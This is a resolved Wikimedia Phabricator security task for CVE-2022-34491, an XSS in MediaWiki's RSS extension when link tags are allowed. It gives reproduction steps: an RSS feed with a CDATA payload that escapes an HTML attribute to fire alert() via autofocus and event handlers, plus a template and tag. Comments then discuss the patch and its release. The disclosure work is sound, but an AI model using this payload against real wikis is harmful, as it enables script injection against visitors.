CVE-2022-34491: ⚓ T307028 XSS in Extension:RSS when $wgRSSAllowLinkTag = true;

**

XSS in Extension:RSS when $wgRSSAllowLinkTag = true;

Closed, ResolvedPublicSecurity

**

• Edit Task

• Edit Related Tasks…

• Edit Related Objects…

• Mute Notifications

• Protect as security issue

• Award Token

• Flag For Later

This is a WMF deployed extension, however $wgRSSAllowLinkTag is false on cluster, so it is not vulnerable in the configuration used by WMF.

RSS extension implementation of strip markers suffers from a similar problem as MW core’s used to before T110143 was fixed. When $wgRSSAllowLinkTag is set to true, you can use this to escape from an attribute.

As an example:

• Set $wgRSSAllowLinkTag = true;

Create an rss feed as follows:

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" >

<channel> <title>Test</title> <item> <title>First item</title> <link>https://example.com</link>

                                    <description><!\[CDATA\[<a title="tabindex=1 autofocus onmouseover=alert(1) onfocus=blur() onblur=alert(document.domain)//"> Should autotrigger on chrome, and trigger on hover on firefox</a> \]\]></description>

</item> </channel> </rss>

• Be sure the above RSS feed is added to $wgRSSUrlWhitelist
• Create a template named Template:RSS containing only

<div title="{{{description}}}"></div>

• Use the following tag on a page <rss templatename=RSS>http://address.of.rss.feed.from.above</rss>

This should make an XSS that autotriggers on chrome, and triggers on hoover in firefox.

Best solution, is to probably copy what MW core does for strip markers with them including "’

Author Affiliation

Wikimedia Communities

• Mentions

Event Timeline

Comment Actions

Its related to the custom strip marker scheme, i’m not sure if that’s what is being referred to in the other task. The code path involved here is the one using the Sanitizer, not the one with a custom escaping function.

The actual escapeTemplateParameter isn’t really a security boundry most of the time except when used with insertStripItem, since the results get parsed later in most cases.

Comment Actions

Proposed patch

Extension doesn’t seem to have a maintainer to CC on this task. I assume I should not just throw on gerrit since its WMF deployed, even if this code path is not enabled on cluster.

Comment Actions

Extension doesn’t seem to have a maintainer to CC on this task. I assume I should not just throw on gerrit since its WMF deployed, even if this code path is not enabled on cluster.

Since ext:RSS isn’t bundled, it would go out with the next supplemental release, which is tracked at T305209. I’ve added it there for now. Since this isn’t currently vulnerable within Wikimedia production (and likely wouldn’t ever be) I’d consider it low risk pushing it through gerrit. I think the only concern would be if other mediawiki operators were left uninformed or vulnerable for some time period, but IME we’ve tended not to care about that as much in the past and have just tried to merge security bug fixes quickly, make tasks public and send out the supplemental release each quarter, as best efforts.

Content licensed under Creative Commons Attribution-ShareAlike 3.0 (CC-BY-SA) unless otherwise noted; code licensed under GNU General Public License (GPL) or other open source licenses. By using this site, you agree to the Terms of Use, Privacy Policy, and Code of Conduct. · Wikimedia Foundation · Privacy Policy · Code of Conduct · Terms of Use · Disclaimer · CC-BY-SA · GPL